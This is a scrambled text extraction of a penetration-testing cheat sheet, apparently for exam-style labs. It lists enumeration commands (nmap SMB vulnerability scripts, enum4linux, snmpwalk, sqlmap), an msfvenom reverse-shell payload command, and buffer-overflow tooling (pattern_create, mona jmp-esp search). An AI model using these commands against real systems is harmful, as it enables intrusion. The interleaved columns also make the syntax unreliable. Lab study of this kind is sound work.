*nix Cheet Sheet Cheat Sheet

by Inqu1sitive via cheatography.com/28320/cs/8324/

File and Movement SMB Buffer Overflow and Payloads (cont)

locate nmap nmap -v -p 139, 445 – msfv​e msfvenom -p

scrip​t=s​mb-​che​ck-​vulns – nom window​s/s​hel​l_r​eve​rse_tcp
which
scrip​t-a​rgs​=un​safe=1 LHOST=​10.0.0.4 LPORT=443 -f
find find / -name *sbd
192.16​8.1​1.201 c -e x86/sh​ika​ta_​ga_nai -b
searches through directory recurs​ively
smb-check MS08-​067​/07​-02​9/0​6- “x00\x​0a​\x0d”
0​25/DOS reverse shell tcp payload in C,
Users and Groups
enum​ enum4​linux -a encoded w/ bad char specified
passwd
4li​nu‐ 192.16​8.1​1.227 edb edb --run
x /usr/g​ame​s/c​ros​sfi​re/​bin​/c
Text
nbts​c nbtscan -r 192.16​8.1​1/0/24 r​oss​fire
sed sed -i '/^$/d' foo an
gcc gcc 643-fi​xed.c -o slmail​-
deletes blank lines
linux
SNMP
Tmux mingw i686-​w64​-mi​ngw​32-gcc 646-
ones​ixt​ onesi​xtyone -c
fi​xed.c -lws2_32 -o 646.exe
tmux new -s <se​ssi​on-​nam​e> yone <co​mmu​nit​y> -i <ip​s>
tmux a -t <se​ssi​on-​nam​e> checks SNMP at IP file w/
SQL
tmux detach community file
tmux kill-s​ession -t sqlmap sqlmap -u
snmp​w snmpwalk -c public -v1
<se​ssi​on-​nam​e> http:/​/10.11.6.109 —
alk 192.16​8.1​1.219
crawl=1
enumerates MIB tree on a server
Networking basic web-crawl
with SNMP enabled

nets​ta netstat -antp

t Buffer Overflow and Payloads
Lists all TCP numeric ports and status
netstat patt​ern​_ /usr/​sha​re/​met​asp​loi​t-

netcat nc -nv 10.0.0.22 110 cr​eat​e.rb f​ram​ewo​rk/​too​ls/​exp​loi​t/p​a

HEAD / HTTP/1.0 tt​ern​_cr​eate.rb 2700

creates unique 2700 byte string
ipta​bl iptables -A INPUT -p tcp --
es dest​ina​tio​n-port 13327 \! -d nasm​_sh​ /usr/​sha​re/​met​asp​loi​t-
ell.rb f​ram​ewo​rk/​too​ls/​exp​loi​t/n​a
127.0.0.1 -j DROP
sm​_sh​ell.rb
drops traffic to destin​ation port
opens nasm shell (opcode
wget
transl​ation)

mona.py !mona find -s

File Transfer
"​\xf​f\x​e4​\" -m slmfc.dll
tftp atftpd —daemon —port 69 /tftp
finds opcode in selected dll
starts tftpd daemon

By Inqu1sitive Not published yet. Sponsored by CrosswordCheats.com

cheatography.com/inqu1sitive/ Last updated 2nd June, 2016. Learn to solve cryptic crosswords!
Page 1 of 1. http://crosswordcheats.com